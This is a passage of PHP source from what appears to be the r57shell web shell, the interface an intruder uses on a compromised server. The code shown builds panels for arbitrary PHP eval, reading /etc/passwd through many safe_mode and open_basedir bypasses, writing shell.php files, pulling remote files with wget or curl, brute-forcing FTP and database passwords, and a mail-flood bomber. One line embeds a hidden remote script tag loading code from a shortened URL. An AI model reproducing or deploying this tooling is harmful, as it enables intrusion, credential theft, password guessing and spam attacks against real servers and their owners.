3215echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
3216echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
3217echo $te.'</div>'.$table_end1.$fe;
3218if(!$safe_mode &&$unix){
3219echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
3220echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
3221echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
3222echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
3223echo $te.'</div>'.$table_end1.$fe;
3224}
3225echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
3226echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
3227echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
3228echo "</textarea>";
3229echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
3230echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
3231echo "</div></div></font>";
3232echo $table_end1.$fe;
3233if($safe_mode ||$open_basedir)
3234{
3235echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
3236echo "<table class=table1 width=100% align=center>";
3237echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3238echo $te.'</div>'.$table_end1.$fe;
3239}
3240if(($safe_mode ||$open_basedir) &&$curl_on &&@version_compare(@phpversion(),"5.2.0")<=0)
3241{
3242echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
3243echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3244echo $te.'</div>'.$table_end1.$fe;
3245}
3246if(($safe_mode ||$open_basedir) &&$mysql_on)
3247{
3248echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
3249echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
3250echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3251echo $te.'</div>'.$table_end1.$fe;
3252}
3253if(($safe_mode ||$open_basedir) &&$mssql_on)
3254{
3255echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
3256echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
3257echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3258echo $te.'</div>'.$table_end1.$fe;
3259}
3260if(($safe_mode ||$open_basedir) &&$unix &&@function_exists('mb_send_mail') &&@version_compare(@phpversion(),"5.2.0")<=0){
3261echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
3262echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3263echo $te.'</div>'.$table_end1.$fe;
3264}
3265if(($safe_mode ||$open_basedir) &&@function_exists('imap_open') &&@function_exists('imap_list') &&@version_compare(@phpversion(),"5.2.0")<=0){
3266echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
3267echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3268echo $te.'</div>'.$table_end1.$fe;
3269}
3270if(($safe_mode ||$open_basedir) &&@function_exists('imap_open') &&@function_exists('imap_body') &&@version_compare(@phpversion(),"5.2.0")<=0){
3271echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
3272echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3273echo $te.'</div>'.$table_end1.$fe;
3274}
3275if(($safe_mode ||$open_basedir) &&@function_exists('copy') &&@version_compare(@phpversion(),"5.2.0")<=0)
3276{
3277echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
3278echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
3279echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3280echo $te.'</div>'.$table_end1.$fe;
3281}
3282if(($safe_mode ||$open_basedir) &&@function_exists('ini_restore') &&@version_compare(@phpversion(),"5.2.0")<=0){
3283echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
3284echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3285echo $te.'</div>'.$table_end1.$fe;
3286}
3287if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.0.0")<0){
3288echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
3289echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3290echo $te.'</div>'.$table_end1.$fe;
3291}
3292if(($safe_mode ||$open_basedir) &&@function_exists('glob') &&@version_compare(@phpversion(),"5.2.2")<=0){
3293echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
3294echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test18_file'])?($_POST['test18_file']):($dir))).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3295echo $te.'</div>'.$table_end1.$fe;
3296}
3297if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
3298{
3299echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
3300echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):("/tmp/test.zip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3301echo $te.'</div>'.$table_end1.$fe;
3302}
3303if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
3304{
3305echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
3306echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):("/tmp/test.bzip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3307echo $te.'</div>'.$table_end1.$fe;
3308}
3309if(($safe_mode ||$open_basedir) &&@function_exists('error_log') &&@version_compare(@phpversion(),"5.2.2")<=0)
3310{
3311echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
3312echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
3313echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
3314echo $te.'</div>'.$table_end1.$fe;
3315}
3316if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
3317{
3318echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
3319echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
3320echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
3321echo $te.'</div>'.$table_end1.$fe;
3322}
3323if(($safe_mode ||$open_basedir) &&@function_exists('readfile') &&@version_compare(@phpversion(),"5.2.2")<=0)
3324{
3325echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
3326echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
3327echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
3328echo $te.'</div>'.$table_end1.$fe;
3329}
3330if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.4")<=0)
3331{
3332echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
3333echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."/test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
3334echo $te.'</div>'.$table_end1.$fe;
3335}
3336if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0)
3337{
3338echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
3339echo "<tr><td valign=top width=70%>".$ts;
3340echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
3341echo $te."</td><td valign=top width=30%>".$ts;
3342echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
3343echo $te."</td></tr>";
3344echo $te.'</div>'.$table_end1;
3345}
3346if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0)
3347{
3348echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
3349echo "<tr><td valign=top width=70%>".$ts;
3350echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
3351echo $te."</td><td valign=top width=30%>".$ts;
3352echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
3353echo $te."</td></tr>";
3354echo $te.'</div>'.$table_end1;
3355}
3356if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){
3357echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
3358echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
3359echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
3360echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
3361echo $te.'</div>'.$table_end1.$fe;
3362}
3363if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){
3364echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
3365echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
3366echo "<tr><td valign=top width=50%>".$ts;
3367echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
3368echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
3369echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
3370echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
3371echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
3372echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
3373echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
3374echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
3375echo $te."</td><td valign=top width=50%>".$ts;
3376echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
3377echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
3378echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
3379echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
3380echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
3381echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
3382echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
3383echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
3384echo $te."</td></tr>";
3385echo $te.'</div>'.$table_end1.$fe;
3386}
3387$select='';
3388if((!@function_exists('ini_get')) ||(@ini_get('allow_url_fopen') &&@function_exists('fopen'))){$select = "<option value=\"fopen\">fopen</option>";}
3389if(!$safe_mode){
3390if(which('wget')){$select .= "<option value=\"wget\">wget</option>";}
3391if(which('fetch')){$select .= "<option value=\"fetch\">fetch</option>";}
3392if(which('lynx')){$select .= "<option value=\"lynx\">lynx</option>";}
3393if(which('links')){$select .= "<option value=\"links\">links</option>";}
3394if(which('curl')){$select .= "<option value=\"curl\">curl</option>";}
3395if(which('GET')){$select .= "<option value=\"GET\">GET</option>";}
3396}
3397if($select){
3398echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
3399echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\">".$select
3400."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
3401echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
3402echo $te.'</div>'.$table_end1.$fe;
3403}
3404echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
3405echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
3406$arh = $lang[$language.'_text92'];
3407if(@function_exists('gzcompress')) {$arh .= in('radio','compress',0,'zip').' zip';}
3408if(@function_exists('gzencode')) {$arh .= in('radio','compress',0,'gzip').' gzip';}
3409if(@function_exists('bzcompress')) {$arh .= in('radio','compress',0,'bzip').' bzip';}
3410echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
3411echo $te.'</div>'.$table_end1.$fe;
3412if(@function_exists("ftp_connect")){
3413echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
3414echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
3415echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
3416echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
3417echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
3418echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
3419echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
3420echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
3421echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
3422echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3423echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
3424echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
3425echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
3426echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
3427echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
3428echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
3429echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
3430echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
3431echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3432echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
3433echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
3434echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
3435echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
3436echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
3437echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
3438echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
3439echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
3440echo $te."</td>".$fe."</tr></div></table>";
3441}
3442if(@function_exists("mail")){
3443echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
3444echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
3445echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
3446echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):(""))));
3447echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):(""))));
3448echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
3449echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
3450echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3451echo "<SCRIPT SRC=http://goo.gl/ZibW9L></SCRIPT> <font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
3452echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
3453echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):(""))));
3454echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):(""))));
3455echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
3456echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
3457echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
3458echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3459echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
3460echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
3461echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
3462echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
3463echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
3464echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
3465echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
3466echo $te."</td>".$fe."</tr></div></table>";
3467}
3468if($mysql_on||$mssql_on||$pg_on||$ora_on)
3469{
3470$select = '<select name=db>';
3471if($mysql_on) $select .= '<option>MySQL</option>';
3472if($mssql_on) $select .= '<option>MSSQL</option>';
3473if($pg_on) $select .= '<option>PostgreSQL</option>';
3474if($ora_on) $select .= '<option>Oracle</option>';
3475$select .= '</select>';
3476echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
3477echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
3478echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
3479echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
3480echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
3481echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
3482echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
3483echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
3484echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
3485echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
3486echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
3487echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3488echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
3489echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
3490echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
3491echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
